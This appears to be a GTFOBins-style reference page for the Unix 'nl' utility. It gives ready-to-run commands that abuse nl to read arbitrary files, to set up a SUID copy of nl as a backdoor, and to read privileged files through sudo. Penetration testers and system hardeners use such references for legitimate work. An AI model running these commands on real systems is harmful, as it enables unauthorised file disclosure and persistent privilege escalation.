.. / nl

Star

• File read
• SUID
• Sudo

The read file content is corrupted by a leading space added to each line.

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

• LFILE=file_to_read
  nl -bn -w1 -s '' $LFILE

SUID

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian that allow the default sh shell to run with SUID privileges.

• sudo sh -c 'cp $(which nl) .; chmod +s ./nl'
  
  LFILE=file_to_read
  ./nl -bn -w1 -s '' $LFILE

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

• LFILE=file_to_read
  sudo nl -bn -w1 -s '' $LFILE